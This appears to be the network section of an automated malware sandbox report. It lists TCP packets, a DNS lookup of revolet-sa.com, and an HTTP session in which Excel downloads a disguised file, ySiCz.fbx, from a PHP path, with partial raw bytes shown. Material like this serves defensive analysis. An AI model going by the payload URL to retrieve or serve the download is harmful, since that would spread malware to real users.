Apr 7, 2021 05:54:08.695012093 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695020914 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695048094 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695075035 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695102930 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695148945 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695158958 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695177078 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695185900 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695204020 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695228100 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695257902 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695287943 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695313931 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695336103 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695338964 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695363045 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695363998 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695386887 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695389986 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695405960 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695417881 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695467949 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695480108 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695501089 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695534945 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695568085 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695585012 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695604086 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695624113 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695643902 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695653915 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695683956 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695739985 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695768118 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695792913 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695801020 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695837021 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695908070 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695935965 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.695966959 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.695981979 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696005106 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696005106 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696024895 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696032047 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696043968 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696063995 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696083069 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696089983 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696120024 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696173906 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696213007 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696233034 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696240902 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696259975 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696286917 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696290016 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696333885 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696384907 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696412086 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696433067 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696439028 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696459055 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696463108 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696485043 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696490049 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696513891 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.696513891 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696540117 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.696568012 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.699287891 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.699321985 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.699364901 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.699388027 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.699392080 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.699440002 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.699455023 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.699505091 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.699939966 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.699999094 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700017929 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700045109 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700063944 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700068951 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700090885 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700095892 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700114965 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700119972 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700131893 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700151920 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700179100 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700193882 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700222015 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700542927 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700592041 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700634003 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700670004 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700678110 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700706005 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.700736046 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.700786114 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.702953100 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703015089 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703042030 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703066111 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703085899 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703125954 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703130007 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703175068 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703178883 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703211069 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703257084 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703283072 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703301907 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703308105 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703335047 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703336000 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703360081 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703371048 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703407049 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703418016 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703444004 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703468084 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703470945 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703495026 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703501940 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703531027 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703560114 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703587055 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703645945 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703655958 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703707933 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703711987 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703775883 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703900099 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703926086 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703950882 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703973055 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.703978062 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.703999043 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704005957 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704030037 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704032898 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704055071 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704068899 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704092026 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704099894 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704109907 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704132080 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704144001 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704164982 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704165936 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704189062 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704190969 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704226971 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704262018 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704318047 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704324007 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704372883 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704382896 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704408884 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704430103 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704438925 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704446077 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704466105 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704474926 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704510927 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704677105 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704741955 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704750061 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704792023 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704823971 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704864979 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.704945087 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.704979897 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705038071 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705075979 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705148935 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705193043 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705234051 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705259085 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705275059 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705281019 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705293894 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705313921 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705326080 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705336094 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705344915 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705362082 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705370903 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705399036 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705600023 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705640078 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705692053 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705733061 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705780029 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705804110 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705818892 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705879927 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.705904007 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.705919027 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.706053019 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.706079006 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.706093073 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.706103086 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.706111908 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.706141949 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.706162930 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.706199884 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.706258059 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.706295967 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.706372023 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.706422091 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.716202021 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.716224909 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.716240883 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.716254950 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.716269016 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.716296911 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.723095894 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.723917007 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855251074 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855305910 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855345011 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855382919 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855421066 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855438948 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855459929 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855462074 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855489016 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855499983 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855515957 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855547905 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855555058 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855592966 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855623960 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855631113 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855654955 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855670929 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855683088 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855711937 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855715990 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855750084 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855781078 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855788946 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855807066 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855828047 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855839968 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855865955 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855875969 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855918884 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855935097 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855957031 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.855962992 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.855997086 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856020927 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856034994 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856050968 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856071949 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856082916 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856111050 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856129885 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856149912 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856159925 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856198072 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856201887 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856240034 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856256962 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856278896 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856291056 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856318951 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856332064 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856358051 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856369019 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856395960 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856406927 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856436014 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856441021 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856475115 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856509924 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856534958 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856535912 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856601954 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856604099 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856656075 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856664896 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856709957 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856715918 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856775045 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856787920 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856817007 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856853962 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856913090 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856920004 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.856970072 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.856972933 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.857013941 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.857026100 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.857067108 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:13.583359003 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:13.583585978 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:43.583722115 CEST	80	49167	192.232.249.186	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 7, 2021 05:54:07.238785028 CEST	52197	53	192.168.2.22	8.8.8.8
Apr 7, 2021 05:54:07.251486063 CEST	53	52197	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 7, 2021 05:54:07.238785028 CEST	192.168.2.22	8.8.8.8	0x1168	Standard query (0)	revolet-sa.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 7, 2021 05:54:07.251486063 CEST	8.8.8.8	192.168.2.22	0x1168	No error (0)	revolet-sa.com		192.232.249.186	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

revolet-sa.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	192.232.249.186	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Apr 7, 2021 05:54:07.430265903 CEST	0	OUT	GET /files/countryyelow.php HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: revolet-sa.com Connection: Keep-Alive
Apr 7, 2021 05:54:07.883936882 CEST	2	IN	HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 03:54:07 GMT Server: Apache Content-Disposition: attachment; filename="ySiCz.fbx" Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Vary: Accept-Encoding Content-Encoding: gzip Keep-Alive: timeout=5, max=75 Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 72 7f 60 53 d5 dd f7 49 72 9b 5e da 94 dc 62 a3 55 aa d6 c7 b8 e1 40 45 83 0a 6f c1 55 ed 2d 6c 23 78 af 91 04 84 b6 fa 08 31 de b9 0d 35 17 70 52 2c 0b d5 de 1d e2 d8 86 cf dc 04 05 c5 4d 37 37 9d 43 ed 36 27 a1 ed 5a 3a 19 a2 22 14 01 ad 5a f5 60 a3 06 a9 50 34 70 de ef b9 37 c9 4d 42 da 3d ef df af 85 dc 7b ee f9 7e 3e df 1f 9f ef c7 7b e3 5a 64 43 08 71 f0 a3 14 a1 76 64 fc d5 a2 ff fc 37 0c bf b1 e7 fe 6d 2c da 32 e6 df e7 b5 5b 66 ff fb bc 1b 42 b7 dd 